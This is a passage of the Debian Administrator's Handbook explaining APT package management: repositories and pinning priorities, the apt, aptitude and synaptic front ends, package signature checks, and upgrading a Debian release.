There are good reasons to include all those repositories, even though a single one should be enough. Testing users will appreciate the possibility to cherry-pick a fixed package from Unstable when the version in Testing is affected by an annoying bug. On the opposite, Unstable users bitten by unexpected regressions have the possibility to downgrade packages to their (supposedly working) Testing version.
The inclusion of Stable is more debatable but it often gives access to some packages which have been removed from the development versions. It also ensures that you get the latest updates for packages which have not been modified since the last stable release.
The archive of Experimental packages is present on all Debian mirrors, and contains packages which are not in the Unstable version yet because of their substandard quality — they are often software development versions or pre-versions (alpha, beta, release candidate…). A package can also be sent there after undergoing subsequent changes which can generate problems. The maintainer then tries to uncover them with help from advanced users who can handle important issues. After this first stage, the package is moved into Unstable, where it reaches a much larger audience and where it will be tested in much more detail.
Experimental is generally used by users who do not mind breaking their system and then repairing it. This distribution gives the possibility to import a package which a user wants to try or use as the need arises. That is exactly how Debian approaches it, since adding it in APT's sources.list
file does not lead to the systematic use of its packages. The line to be added is:
There are numerous non-official sources of Debian packages set up by advanced users who have recompiled some software (Ubuntu made this popular with their Personal Package Archive service), by programmers who make their creation available to all, and even by Debian developers who offer pre-versions of their package online.
The mentors.debian.net
site is interesting (although it only provides source packages), since it gathers packages created by candidates to the status of official Debian developer or by volunteers who wish to create Debian packages without going through that process of integration. These packages are made available without any guarantee regarding their quality; make sure that you check their origin and integrity and then test them before you consider using them in production.
COMMUNITY The
debian.net
sitesThe debian.net domain is not an official resource of the Debian project. Each Debian developer may use that domain name for their own use. These websites can contain unofficial services (sometimes personal sites) hosted on a machine which does not belong to the project and set up by Debian developers, or even prototypes about to be moved on to debian.org. Two reasons can explain why some of these prototypes remain on debian.net: either no one has made the necessary effort to transform it into an official service (hosted on the debian.org domain, and with a certain guarantee of maintenance), or the service is too controversial to be officialized.
Installing a package means giving root rights to its creator, because they decide on the contents of the initialization scripts which are run under that identity. Official Debian packages are created by volunteers who have been co-opted and reviewed and who can seal their packages so that their origin and integrity can be checked.
In general, be wary of a package whose origin you don't know and which isn't hosted on one of the official Debian servers: evaluate the degree to which you can trust the creator, and check the integrity of the package.
GOING FURTHER Old package versions:
snapshot.debian.org
The
snapshot.debian.org
service, introduced in April 2010, can be used to “go backwards in time” and to find an old version of a package. It can be used for example to identify which version of a package introduced a regression, and more concretely, to come back to the former version while waiting for the regression fix.
When an entire network of machines is configured to use the same remote server to download the same updated packages, any administrator knows that it would be beneficial to have an intermediate proxy acting as a network-local cache (see sidebar VOCABULARY Cache).
You can configure APT to use a "standard" proxy (see Secțiune 6.2.4, „Configuration Options” for the APT side, and Secțiune 11.6, „HTTP/FTP Proxy” for the proxy side), but the Debian ecosystem offers better options to solve this problem. The dedicated software presented in this section are smarter than a plain proxy cache because they can rely on the specific structure of APT repositories (for instance they know when individual files are obsolete or not, and thus adjust the time during which they are kept).
apt-cacher and apt-cacher-ng work like usual proxy cache servers. APT's sources.list
is left unchanged, but APT is configured to use them as proxy for outgoing requests.
approx, on the other hand, acts like an HTTP server that “mirrors” any number of remote repositories in its top-level URLs. The mapping between those top-level directories and the remote URLs of the repositories is stored in /etc/approx/approx.conf
:
approx runs by default on port 9999 via inetd (see Secțiune 9.6, „The inetd Super-Server”) and requires the users to adjust their sources.list
file to point to the approx server:
APT is a vast project, whose original plans included a graphical interface. It is based on a library which contains the core application, and apt-get is the first front end — command-line based — which was developed within the project. apt is a second command-line based front end provided by APT which overcomes some design mistakes of apt-get.
Numerous other graphical interfaces then appeared as external projects: synaptic, aptitude (which includes both a text mode interface and a graphical one — even if not complete yet), wajig, etc. The most recommended interface, apt, is the one that we will use in the examples given in this section. Note however that apt-get and aptitude have a very similar command line syntax. When there are major differences between apt, apt-get and aptitude, these differences will be detailed.
For any work with APT, the list of available packages needs to be updated; this can be done simply through apt update. Depending on the speed of your connection, the operation can take a while since it involves downloading a certain number of Packages
/Sources
/Translation-
files, which have gradually become bigger and bigger as Debian has developed (at least 10 MB of data for the language-code
main
section). Of course, installing from a CD-ROM set does not require any downloading — in this case, the operation is very fast.
With APT, packages can be added or removed from the system, respectively with apt install package
and apt remove package
. In both cases, APT will automatically install the necessary dependencies or delete the packages which depend on the package that is being removed. The apt purge package
command involves a complete uninstallation — the configuration files are also deleted.
TIP Installing the same selection of packages several times
It can be useful to systematically install the same list of packages on several computers. This can be done quite easily.
First, retrieve the list of packages installed on the computer which will serve as the “model” to copy.
$
dpkg --get-selections >pkg-list
The
pkg-list
file then contains the list of installed packages. Next, transfer thepkg-list
file onto the computers you want to update and use the following commands:## Update dpkg's database of known packages
#avail=`mktemp`
#apt-cache dumpavail > "$avail"
#dpkg --merge-avail "$avail"
#rm -f "$avail"
## Update dpkg's selections
#dpkg --set-selections < pkg-list
## Ask apt-get to install the selected packages
#apt-get dselect-upgrade
The first commands records the list of available packages in the dpkg database, then dpkg --set-selections restores the selection of packages that you wish to install, and the apt-get invocation executes the required operations! aptitude does not have this command.
TIP Removing and installing at the same time
It is possible to ask apt (or apt-get, or aptitude) to install certain packages and remove others on the same command line by adding a suffix. With an apt install command, add “
-
” to the names of the packages you wish to remove. With an apt remove command, add “+
” to the names of the packages you wish to install.The next example shows two different ways to install
package1
and to removepackage2
.#apt install
package1
package2-
[...]
#apt remove
package1+
package2
[...]This can also be used to exclude packages which would otherwise be installed, for example due to a
Recommends
. In general, the dependency solver will use that information as a hint to look for alternative solutions.
TIP apt --reinstall and aptitude reinstall
The system can sometimes be damaged after the removal or modification of files in a package. The easiest way to retrieve these files is to reinstall the affected package. Unfortunately, the packaging system finds that the latter is already installed and politely refuses to reinstall it; to avoid this, use the
--reinstall
option of the apt and apt-get commands. The following command reinstalls postfix even if it is already present:#
apt --reinstall install postfix
The aptitude command line is slightly different, but achieves the same result with aptitude reinstall postfix.
The problem does not arise with dpkg, but the administrator rarely uses it directly.
Be careful! Using apt --reinstall to restore packages modified during an attack will certainly not recover the system as it was. Secțiune 14.7, „Dealing with a Compromised Machine” details the necessary steps to take with a compromised system.
If the file sources.list
mentions several distributions, it is possible to give the version of the package to install. A specific version number can be requested with apt install package
=version
, but indicating its distribution of origin (Stable, Testing or Unstable) — with apt install package
/distribution
— is usually preferred. With this command, it is possible to go back to an older version of a package (if for instance you know that it works well), provided that it is still available in one of the sources referenced by the sources.list
file. Otherwise the snapshot.debian.org
archive can come to the rescue (see sidebar GOING FURTHER Old package versions: snapshot.debian.org
).
Exemplu 6.3. Installation of the unstable version of spamassassin
#
apt install spamassassin/unstable
GOING FURTHER The cache of
.deb
filesAPT keeps a copy of each downloaded
.deb
file in the directory/var/cache/apt/archives/
. In case of frequent updates, this directory can quickly take a lot of disk space with several versions of each package; you should regularly sort through them. Two commands can be used: apt-get clean entirely empties the directory; apt-get autoclean only removes packages which can no longer be downloaded (because they have disappeared from the Debian mirror) and are therefore clearly useless (the configuration parameterAPT::Clean-Installed
can prevent the removal of.deb
files that are currently installed). Note that apt does not support those commands.
Regular upgrades are recommended, because they include the latest security updates. To upgrade, use apt upgrade, apt-get upgrade or aptitude safe-upgrade (of course after apt update). This command looks for installed packages which can be upgraded without removing any packages. In other words, the goal is to ensure the least intrusive upgrade possible. apt-get is slightly more demanding than aptitude or apt because it will refuse to install packages which were not installed beforehand.
TIP Incremental upgrade
As we explained earlier, the aim of the apt update command is to download for each package source the corresponding
Packages
(orSources
) file. However, even after a bzip2 compression, these files can remain rather large (thePackages.xz
for the main section of Jessie takes more than 6 MB). If you wish to upgrade regularly, these downloads can take up a lot of time.To speed up the process APT can download “diff” files containing the changes since the previous update, as opposed to the entire file. To achieve this, official Debian mirrors distribute different files which list the differences between one version of the
Packages
file and the following version. They are generated at each update of the archives and a history of one week is kept. Each of these “diff” files only takes a few dozen kilobytes for Unstable, so that the amount of data downloaded by a weekly apt update is often divided by 10. For distributions like Stable and Testing, which change less, the gain is even more noticeable.However, it can sometimes be of interest to force the download of the entire
Packages
file, especially when the last upgrade is very old and when the mechanism of incremental differences would not contribute much. This can also be interesting when network access is very fast but when the processor of the machine to upgrade is rather slow, since the time saved on the download is more than lost when the computer calculates the new versions of these files (starting with the older versions and applying the downloaded differences). To do that, you can use the configuration parameterAcquire::Pdiffs
and set it tofalse
.
apt will generally select the most recent version number (except for packages from Experimental and stable-backports, which are ignored by default whatever their version number). If you specified Testing or Unstable in your sources.list
, apt upgrade will switch most of your Stable system to Testing or Unstable, which might not be what you intended.
To tell apt to use a specific distribution when searching for upgraded packages, you need to use the -t
or --target-release
option, followed by the name of the distribution you want (for example: apt -t stable upgrade). To avoid specifying this option every time you use apt, you can add APT::Default-Release "stable";
in the file /etc/apt/apt.conf.d/local
.
For more important upgrades, such as the change from one major Debian version to the next, you need to use apt full-upgrade. With this instruction, apt will complete the upgrade even if it has to remove some obsolete packages or install new dependencies. This is also the command used by users who work daily with the Debian Unstable release and follow its evolution day by day. It is so simple that it hardly needs explanation: APT's reputation is based on this great functionality.
Unlike apt and aptitude, apt-get doesn't know the full-upgrade command. Instead, you should use apt-get dist-upgrade (”distribution upgrade”), the historical and well-known command that apt and aptitude also accept for the convenience of users who got used to it.
Besides the configuration elements already mentioned, it is possible to configure certain aspects of APT by adding directives in a file of the /etc/apt/apt.conf.d/
directory. Remember for instance that it is possible for APT to tell dpkg to ignore file conflict errors by specifying DPkg::options { "--force-overwrite"; }
.
If the Web can only be accessed through a proxy, add a line like Acquire::http::proxy "http://
. For an FTP proxy, write yourproxy
:3128"Acquire::ftp::proxy "ftp://
. To discover more configuration options, read the apt.conf(5) manual page with the man apt.conf command (for details on manual pages, see Secțiune 7.1.1, „Manual Pages”). yourproxy
"
BACK TO BASICS Directories ending in
.d
Directories with a
.d
suffix are used more and more often. Each directory represents a configuration file which is split over multiple files. In this sense, all of the files in/etc/apt/apt.conf.d/
are instructions for the configuration of APT. APT includes them in alphabetical order, so that the last ones can modify a configuration element defined in one of the first ones.This structure brings some flexibility to the machine administrator and to the package maintainers. Indeed, the administrator can easily modify the configuration of the software by adding a ready-made file in the directory in question without having to change an existing file. Package maintainers use the same approach when they need to adapt the configuration of another software to ensure that it perfectly co-exists with theirs. The Debian policy explicitly forbids modifying configuration files of other packages — only users are allowed to do this. Remember that during a package upgrade, the user gets to choose the version of the configuration file that should be kept when a modification has been detected. Any external modification of the file would trigger that request, which would disturb the administrator, who is sure not to have changed anything.
Without a
.d
directory, it is impossible for an external package to change the settings of a program without modifying its configuration file. Instead it must invite the user to do it themselves and lists the operations to be done in the file/usr/share/doc/
.package
/README.DebianDepending on the application, the
.d
directory is used directly or managed by an external script which will concatenate all the files to create the configuration file itself. It is important to execute the script after any change in that directory so that the most recent modifications are taken into account. In the same way, it is important not to work directly in the configuration file created automatically, since everything would be lost at the next execution of the script. The chosen method (.d
directory used directly or a file generated from that directory) is usually dictated by implementation constraints, but in both cases the gains in terms of configuration flexibility more than make up for the small complications that they entail. The Exim 4 mail server is an example of the generated file method: it can be configured through several files (/etc/exim4/conf.d/*
) which are concatenated into/var/lib/exim4/config.autogenerated
by the update-exim4.conf command.
One of the most important aspects in the configuration of APT is the management of the priorities associated with each package source. For instance, you might want to extend one distribution with one or two newer packages from Testing, Unstable or Experimental. It is possible to assign a priority to each available package (the same package can have several priorities depending on its version or the distribution providing it). These priorities will influence APT's behavior: for each package, it will always select the version with the highest priority (except if this version is older than the installed one and if its priority is less than 1000).
APT defines several default priorities. Each installed package version has a priority of 100. A non-installed version has a priority of 500 by default, but it can jump to 990 if it is part of the target release (defined with the -t
command-line option or the APT::Default-Release
configuration directive).
You can modify the priorities by adding entries in the /etc/apt/preferences
file with the names of the affected packages, their version, their origin and their new priority.
APT will never install an older version of a package (that is, a package whose version number is lower than the one of the currently installed package) except if its priority is higher than 1000. APT will always install the highest priority package which follows this constraint. If two packages have the same priority, APT installs the newest one (whose version number is the highest). If two packages of same version have the same priority but differ in their content, APT installs the version that is not installed (this rule has been created to cover the case of a package update without the increment of the revision number, which is usually required).
In more concrete terms, a package whose priority is less than 0 will never be installed. A package with a priority ranging between 0 and 100 will only be installed if no other version of the package is already installed. With a priority between 100 and 500, the package will only be installed if there is no other newer version installed or available in another distribution. A package of priority between 501 and 990 will only be installed if there is no newer version installed or available in the target distribution. With a priority between 990 and 1000, the package will be installed except if the installed version is newer. A priority greater than 1000 will always lead to the installation of the package even if it forces APT to downgrade to an older version.
When APT checks /etc/apt/preferences
, it first takes into account the most specific entries (often those specifying the concerned package), then the more generic ones (including for example all the packages of a distribution). If several generic entries exist, the first match is used. The available selection criteria include the package's name and the source providing it. Every package source is identified by the information contained in a Release
file that APT downloads together with the Packages
files. It specifies the origin (usually “Debian” for the packages of official mirrors, but it can also be a person's or an organization's name for third-party repositories). It also gives the name of the distribution (usually Stable, Testing, Unstable or Experimental for the standard distributions provided by Debian) together with its version (for example 8 for Debian Jessie). Let's have a look at its syntax through some realistic case studies of this mechanism.
SPECIFIC CASE Priority of experimental
If you listed Experimental in your
sources.list
file, the corresponding packages will almost never be installed because their default APT priority is 1. This is of course a specific case, designed to keep users from installing Experimental packages by mistake. The packages can only be installed by typing aptitude installpackage
/experimental — users typing this command can only be aware of the risks that they take. It is still possible (though not recommended) to treat packages of Experimental like those of other distributions by giving them a priority of 500. This is done with a specific entry in/etc/apt/preferences
:Package: *
Pin: release a=experimental
Pin-Priority: 500
Let's suppose that you only want to use packages from the stable version of Debian. Those provided in other versions should not be installed except if explicitly requested. You could write the following entries in the /etc/apt/preferences
file:
a=stable
defines the name of the selected distribution. o=Debian
limits the scope to packages whose origin is “Debian”.
Let's now assume that you have a server with several local programs depending on the version 5.14 of Perl and that you want to ensure that upgrades will not install another version of it. You could use this entry:
The reference documentation for this configuration file is available in the manual page apt_preferences(5), which you can display with man apt_preferences.
TIP Comments in
/etc/apt/preferences
There is no official syntax to put comments in the
/etc/apt/preferences
file, but some textual descriptions can be provided by putting one or more “Explanation
” fields at the start of each entry:Explanation: The package xserver-xorg-video-intel provided
Explanation: in experimental can be used safely
Package: xserver-xorg-video-intel
Pin: release a=experimental
Pin-Priority: 500
apt being such a marvelous tool, it is tempting to pick packages coming from other distributions. For example, after having installed a Stable system, you might want to try out a software package available in Testing or Unstable without diverging too much from the system's initial state.
Even if you will occasionally encounter problems while mixing packages from different distributions, apt manages such coexistence very well and limits risks very effectively. The best way to proceed is to list all distributions used in /etc/apt/sources.list
(some people always put the three distributions, but remember that Unstable is reserved for experienced users) and to define your reference distribution with the APT::Default-Release
parameter (see Secțiune 6.2.3, „System Upgrade”).
Let's suppose that Stable is your reference distribution but that Testing and Unstable are also listed in your sources.list
file. In this case, you can use apt install package
/testing to install a package from Testing. If the installation fails due to some unsatisfiable dependencies, let it solve those dependencies within Testing by adding the -t testing
parameter. The same obviously applies to Unstable.
In this situation, upgrades (upgrade and full-upgrade) are done within Stable except for packages already upgraded to another distribution: those will follow updates available in the other distributions. We will explain this behavior with the help of the default priorities set by APT below. Do not hesitate to use apt-cache policy (see sidebar TIP apt-cache policy) to verify the given priorities.
Everything centers around the fact that APT only considers packages of higher or equal version than the installed one (assuming that /etc/apt/preferences
has not been used to force priorities higher than 1000 for some packages).
TIP apt-cache policy
To gain a better understanding of the mechanism of priority, do not hesitate to execute apt-cache policy to display the default priority associated with each package source. You can also use apt-cache policy
package
to display the priorities of all available versions of a given package.
Let's assume that you have installed version 1 of a first package from Stable and that version 2 and 3 are available respectively in Testing and Unstable. The installed version has a priority of 100 but the version available in Stable (the very same) has a priority of 990 (because it is part of the target release). Packages in Testing and Unstable have a priority of 500 (the default priority of a non-installed version). The winner is thus version 1 with a priority of 990. The package “stays in Stable”.
Let's take the example of another package whose version 2 has been installed from Testing. Version 1 is available in Stable and version 3 in Unstable. Version 1 (of priority 990 — thus lower than 1000) is discarded because it is lower than the installed version. This only leaves version 2 and 3, both of priority 500. Faced with this alternative, APT selects the newest version, the one from Unstable.If you don't want a package installed from Testing to migrate to Unstable, you have to assign a priority lower than 500 (490 for example) to packages coming from Unstable. You can modify /etc/apt/preferences
to this effect:
One of the essential functionalities of apt is the tracking of packages installed only through dependencies. These packages are called “automatic”, and often include libraries for instance.
With this information, when packages are removed, the package managers can compute a list of automatic packages that are no longer needed (because there is no “manually installed” packages depending on them). apt-get autoremove will get rid of those packages. aptitude and apt do not have this command: the former because it removes them automatically as soon as they are identified, and the latter probably because the user should not have to manually run such a command. In all cases, the tools display a clear message listing the affected packages.
It is a good habit to mark as automatic any package that you don't need directly so that they are automatically removed when they aren't necessary anymore. apt-mark auto package
will mark the given package as automatic whereas apt-mark manual package
does the opposite. aptitude markauto and aptitude unmarkauto work in the same way although they offer more features for marking many packages at once (see Secțiune 6.4.1, „aptitude”). The console-based interactive interface of aptitude also makes it easy to review the “automatic flag” on many packages.
People might want to know why an automatically installed package is present on the system. To get this information from the command line, you can use aptitude why package
(apt and apt-get have no similar feature):
$
aptitude why python-debian
i aptitude Recommends apt-xapian-index
i A apt-xapian-index Depends python-debian (>= 0.1.15)
ALTERNATIVE deborphan and debfoster
In days where apt, apt-get and aptitude were not able to track automatic packages, there were two utilities producing lists of unnecessary packages: deborphan and debfoster.
deborphan is the most rudimentary of both. It simply scans the
libs
andoldlibs
sections (in the absence of supplementary instructions) looking for the packages that are currently installed and that no other package depends on. The resulting list can then serve as a basis to remove unneeded packages.debfoster has a more elaborate approach, very similar to APT's one: it maintains a list of packages that have been explicitly installed, and remembers what packages are really required between each invocation. If new packages appear on the system and if debfoster doesn't know them as required packages, they will be shown on the screen together with a list of their dependencies. The program then offers a choice: remove the package (possibly together with those that depend on it), mark it as explicitly required, or ignore it temporarily.
The apt-cache command can display much of the information stored in APT's internal database. This information is a sort of cache since it is gathered from the different sources listed in the sources.list
file. This happens during the apt update operation.
VOCABULARY Cache
A cache is a temporary storage system used to speed up frequent data access when the usual access method is expensive (performance-wise). This concept can be applied in numerous situations and at different scales, from the core of microprocessors up to high-end storage systems.
In the case of APT, the reference
Packages
files are those located on Debian mirrors. That said, it would be very ineffective to go through the network for every search that we might want to do in the database of available packages. That is why APT stores a copy of those files (in/var/lib/apt/lists/
) and searches are done within those local files. Similarly,/var/cache/apt/archives/
contains a cache of already downloaded packages to avoid downloading them again if you need to reinstall them after a removal.
The apt-cache command can do keyword-based package searches with apt-cache search keyword
. It can also display the headers of the package's available versions with apt-cache show package
. This command provides the package's description, its dependencies, the name of its maintainer, etc. Note that apt search, apt show, aptitude search, aptitude show work in the same way.
ALTERNATIVE axi-cache
apt-cache search is a very rudimentary tool, basically implementing grep on package's descriptions. It often returns too many results or none at all when you include too many keywords.
axi-cache search
term
, on the other hand, provides better results, sorted by relevancy. It uses the Xapian search engine and is part of the apt-xapian-index package whichs indexes all package information (and more, like the.desktop
files from all Debian packages). It knows about tags (see sidebar GOING FURTHER TheTag
field) and returns results in a matter of milliseconds.$axi-cache search package use::searching
105 results found.
Results 1-20:
100% packagesearch - GUI for searching packages and viewing package information
98% debtags - Enables support for package tags
94% debian-goodies - Small toolbox-style utilities
93% dpkg-awk - Gawk script to parse /var/lib/dpkg/{status,available} and Packages
93% goplay - games (and more) package browser using DebTags
[...]
87% apt-xapian-index - maintenance and search tools for a Xapian index of Debian packages
[...]
More terms: search debian searching strigi debtags bsearch libbsearch
More tags: suite::debian works-with::software:package role::program interface::commandline implemented-in::c++ admin::package-management use::analysing
`axi-cache more' will give more results
Some features are more rarely used. For instance, apt-cache policy displays the priorities of package sources as well as those of individual packages. Another example is apt-cache dumpavail which displays the headers of all available versions of all packages. apt-cache pkgnames displays the list of all the packages which appear at least once in the cache.
APT is a C++ program whose code mainly resides in the libapt-pkg shared library. Using a shared library facilitates the creation of user interfaces (front-ends), since the code contained in the library can easily be reused. Historically, apt-get was only designed as a test front-end for libapt-pkg but its success tends to obscure this fact.
aptitude is an interactive program that can be used in semi-graphical mode on the console. You can browse the list of installed and available packages, look up all the available information, and select packages to install or remove. The program is designed specifically to be used by administrators, so that its default behaviors are much more intelligent than apt-get's, and its interface much easier to understand.
Fig. 6.1. The aptitude package manager
When it starts, aptitude shows a list of packages sorted by state (installed, non-installed, or installed but not available on the mirrors — other sections display tasks, virtual packages, and new packages that appeared recently on mirrors). To facilitate thematic browsing, other views are available. In all cases, aptitude displays a list combining categories and packages on the screen. Categories are organized through a tree structure, whose branches can respectively be unfolded or closed with the Enter, [ and ] keys. + should be used to mark a package for installation, - to mark it for removal and _ to purge it (note than these keys can also be used for categories, in which case the corresponding actions will be applied to all the packages of the category). u updates the lists of available packages and Shift+u prepares a global system upgrade. g switches to a summary view of the requested changes (and typing g again will apply the changes), and q quits the current view. If you are in the initial view, this will effectively close aptitude.
DOCUMENTATION aptitude
This section does not cover the finer details of using aptitude, it rather focuses on giving you a survival kit to use it. aptitude is rather well documented and we advise you to use its complete manual available in the aptitude-doc-en package (see
/usr/share/doc/aptitude/html/en/index.html
).
To search for a package, you can type / followed by a search pattern. This pattern matches the name of the package, but can also be applied to the description (if preceded by ~d
), to the section (with ~s
) or to other characteristics detailed in the documentation. The same patterns can filter the list of displayed packages: type the l key (as in limit) and enter the pattern.
Managing the “automatic flag” of Debian packages (see Secțiune 6.2.7, „Tracking Automatically Installed Packages”) is a breeze with aptitude. It is possible to browse the list of installed packages and mark packages as automatic with Shift+m or to remove the mark with the m key. “Automatic packages” are displayed with an “A” in the list of packages. This feature also offers a simple way to visualize the packages in use on a machine, without all the libraries and dependencies that you don't really care about. The related pattern that can be used with l (to activate the filter mode) is ~i!~M
. It specifies that you only want to see installed packages (~i
) not marked as automatic (!~M
).
TOOL Using aptitude on the command-line interface
Most of aptitude's features are accessible via the interactive interface as well as via command-lines. These command-lines will seem familiar to regular users of apt-get and apt-cache.
The advanced features of aptitude are also available on the command-line. You can use the same package search patterns as in the interactive version. For example, if you want to cleanup the list of “manually installed” packages, and if you know that none of the locally installed programs require any particular libraries or Perl modules, you can mark the corresponding packages as automatic with a single command:
#
aptitude markauto '~slibs|~sperl'
Here, you can clearly see the power of the search pattern system of aptitude, which enables the instant selection of all the packages in the
libs
andperl
sections.Beware, if some packages are marked as automatic and if no other package depends on them, they will be removed immediately (after a confirmation request).
Another interesting feature of aptitude is the fact that it respects recommendations between packages while still giving users the choice not to install them on a case by case basis. For example, the gnome package recommends gdebi (among others). When you select the former for installation, the latter will also be selected (and marked as automatic if not already installed on the system). Typing g will make it obvious: gdebi appears on the summary screen of pending actions in the list of packages installed automatically to satisfy dependencies. However, you can decide not to install it by deselecting it before confirming the operations.
Note that this recommendation tracking feature does not apply to upgrades. For instance, if a new version of gnome recommends a package that it did not recommend formerly, the package won't be marked for installation. However, it will be listed on the upgrade screen so that the administrator can still select it for installation.
Suggestions between packages are also taken into account, but in a manner adapted to their specific status. For example, since gnome suggests dia-gnome, the latter will be displayed on the summary screen of pending actions (in the section of packages suggested by other packages). This way, it is visible and the administrator can decide whether to take the suggestion into account or not. Since it is only a suggestion and not a dependency or a recommendation, the package will not be selected automatically — its selection requires a manual intervention from the user (thus, the package will not be marked as automatic).
In the same spirit, remember that aptitude makes intelligent use of the concept of task. Since tasks are displayed as categories in the screens of packages lists, you can either select a full task for installation or removal, or browse the list of packages included in the task to select a smaller subset.
To conclude this section, let's note that aptitude has more elaborate algorithms compared to apt-get when it comes to resolving difficult situations. When a set of actions is requested and when these combined actions would lead to an incoherent system, aptitude evaluates several possible scenarios and presents them in order of decreasing relevance. However, these algorithms are not failproof. Fortunately there is always the possibility to manually select the actions to perform. When the currently selected actions lead to contradictions, the upper part of the screen indicates a number of “broken” packages (and you can directly navigate to those packages by pressing b). It is then possible to manually build a solution for the problems found. In particular, you can get access to the different available versions by simply selecting the package with Enter. If the selection of one of these versions solves the problem, you should not hesitate to use the function. When the number of broken packages gets down to zero, you can safely go to the summary screen of pending actions for a last check before you apply them.
NOTE aptitude's log
Like dpkg, aptitude keeps a trace of executed actions in its logfile (
/var/log/aptitude
). However, since both commands work at a very different level, you cannot find the same information in their respective logfiles. While dpkg logs all the operations executed on individual packages step by step, aptitude gives a broader view of high-level operations like a system-wide upgrade.Beware, this logfile only contains a summary of operations performed by aptitude. If other front-ends (or even dpkg itself) are occasionally used, then aptitude's log will only contain a partial view of the operations, so you can't rely on it to build a trustworthy history of the system.
synaptic is a graphical package manager for Debian which features a clean and efficient graphical interface based on GTK+/GNOME. Its many ready-to-use filters give fast access to newly available packages, installed packages, upgradable packages, obsolete packages and so on. If you browse through these lists, you can select the operations to be done on the packages (install, upgrade, remove, purge); these operations are not performed immediately, but put into a task list. A single click on a button then validates the operations, and they are performed in one go.
Fig. 6.2. synaptic package manager
Security is very important for Falcot Corp administrators. Accordingly, they need to ensure that they only install packages which are guaranteed to come from Debian with no tampering on the way. A computer cracker could try to add malicious code to an otherwise legitimate package. Such a package, if installed, could do anything the cracker designed it to do, including for instance disclosing passwords or confidential information. To circumvent this risk, Debian provides a tamper-proof seal to guarantee — at install time — that a package really comes from its official maintainer and hasn't been modified by a third party.
The seal works with a chain of cryptographical hashes and a signature. The signed file is the Release
file, provided by the Debian mirrors. It contains a list of the Packages
files (including their compressed forms, Packages.gz
and Packages.xz
, and the incremental versions), along with their MD5, SHA1 and SHA256 hashes, which ensures that the files haven't been tampered with. These Packages
files contain a list of the Debian packages available on the mirror, along with their hashes, which ensures in turn that the contents of the packages themselves haven't been altered either.
The trusted keys are managed with the apt-key command found in the apt package. This program maintains a keyring of GnuPG public keys, which are used to verify signatures in the Release.gpg
files available on the mirrors. It can be used to add new keys manually (when non-official mirrors are needed). Generally however, only the official Debian keys are needed. These keys are automatically kept up-to-date by the debian-archive-keyring package (which puts the corresponding keyrings in /etc/apt/trusted.gpg.d
). However, the first installation of this particular package requires caution: even if the package is signed like any other, the signature cannot be verified externally. Cautious administrators should therefore check the fingerprints of imported keys before trusting them to install new packages:
apt-key fingerprint
IN PRACTICE Adding trusted keys
When a third-party package source is added to the
sources.list
file, APT needs to be told to trust the corresponding GPG authentication key (otherwise it will keep complaining that it can't ensure the authenticity of the packages coming from that repository). The first step is of course to get the public key. More often than not, the key will be provided as a small text file, which we will callkey.asc
in the following examples.To add the key to the trusted keyring, the administrator can run apt-key add < key.asc. Another way is to use the synaptic graphical interface: its “Authentication” tab in the Settings → Repositories menu gives the possibility of importing a key from the
key.asc
file.For people who would want a dedicated application and more details on the trusted keys, it is possible to use gui-apt-key (in the package of the same name), a small graphical user interface which manages the trusted keyring.
Once the appropriate keys are in the keyring, APT will check the signatures before any risky operation, so that front-ends will display a warning if asked to install a package whose authenticity can't be ascertained.
One of the best-known features of Debian is its ability to upgrade an installed system from one stable release to the next: dist-upgrade — a well-known phrase — has largely contributed to the project's reputation. With a few precautions, upgrading a computer can take as little as a few minutes, or a few dozen minutes, depending on the download speed from the package repositories.
Since Debian has quite some time to evolve in-between stable releases, you should read the release notes before upgrading.
BACK TO BASICS Release notes
The release notes for an operating system (and, more generally, for any software) are a document giving an overview of the software, with some details concerning the particularities of one version. These documents are generally short compared to the complete documentation, and they usually list the features which have been introduced since the previous version. They also give details on upgrading procedures, warnings for users of previous versions, and sometimes errata.
Release notes are available online: the release notes for the current stable release have a dedicated URL, while older release notes can be found with their codenames:
In this section, we will focus on upgrading a Wheezy system to Jessie. This is a major operation on a system; as such, it is never 100% risk-free, and should not be attempted before all important data has been backed up.
Another good habit which makes the upgrade easier (and shorter) is to tidy your installed packages and keep only the ones that are really needed. Helpful tools to do that include aptitude, deborphan and debfoster (see Secțiune 6.2.7, „Tracking Automatically Installed Packages”). For example, you can use the following command, and then use aptitude's interactive mode to double check and fine-tune the scheduled removals:
deborphan | xargs aptitude --schedule-only remove
Now for the upgrading itself. First, you need to change the /etc/apt/sources.list
file to tell APT to get its packages from Jessie instead of Wheezy. If the file only contains references to Stable rather than explicit codenames, the change isn't even required, since Stable always refers to the latest released version of Debian. In both cases, the database of available packages must be refreshed (with the apt update command or the refresh button in synaptic).
Once these new package sources are registered, you should first do a minimal upgrade with apt upgrade. By doing the upgrade in two steps, we ease the job of the package management tools and often ensure that we have the latest versions of those, which might have accumulated bugfixes and improvements required to complete the full distribution upgrade.
Once this first upgrade is done, it is time to handle the upgrade itself, either with apt full-upgrade, aptitude, or synaptic. You should carefully check the suggested actions before applying them: you might want to add suggested packages or deselect packages which are only recommended and known not to be useful. In any case, the front-end should come up with a scenario ending in a coherent and up-to-date Jessie system. Then, all you need is to do is wait while the required packages are downloaded, answer the Debconf questions and possibly those about locally modified configuration files, and sit back while APT does its magic.
In spite of the Debian maintainers' best efforts, a major system upgrade isn't always as smooth as you could wish. New software versions may be incompatible with previous ones (for instance, their default behavior or their data format may have changed). Also, some bugs may slip through the cracks despite the testing phase which always precedes a Debian release.
To anticipate some of these problems, you can install the apt-listchanges package, which displays information about possible problems at the beginning of a package upgrade. This information is compiled by the package maintainers and put in /usr/share/doc/
files for the benefit of users. Reading these files (possibly through apt-listchanges) should help you avoid bad surprises. package
/NEWS.Debian
You might sometimes find that the new version of a software doesn't work at all. This generally happens if the application isn't particularly popular and hasn't been tested enough; a last-minute update can also introduce regressions which are only found after the stable release. In both cases, the first thing to do is to have a look at the bug tracking system at https://bugs.debian.org/
, and check whether the problem has already been reported. If it hasn't, you should report it yourself with reportbug. If it is already known, the bug report and the associated messages are usually an excellent source of information related to the bug: package
Depending on the severity of the bug, a new version of the package may be prepared specifically for a new revision of the stable release. When this happens, the fixed package is made available in the proposed-updates
section of the Debian mirrors (see Secțiune 6.1.2.3, „Proposed Updates”). The corresponding entry can then be temporarily added to the sources.list
file, and updated packages can be installed with apt or aptitude.
Sometimes the fixed package isn't available in this section yet because it is pending a validation by the Stable Release Managers. You can verify if that's the case on their web page. Packages listed there aren't available yet, but at least you know that the publication process is ongoing.
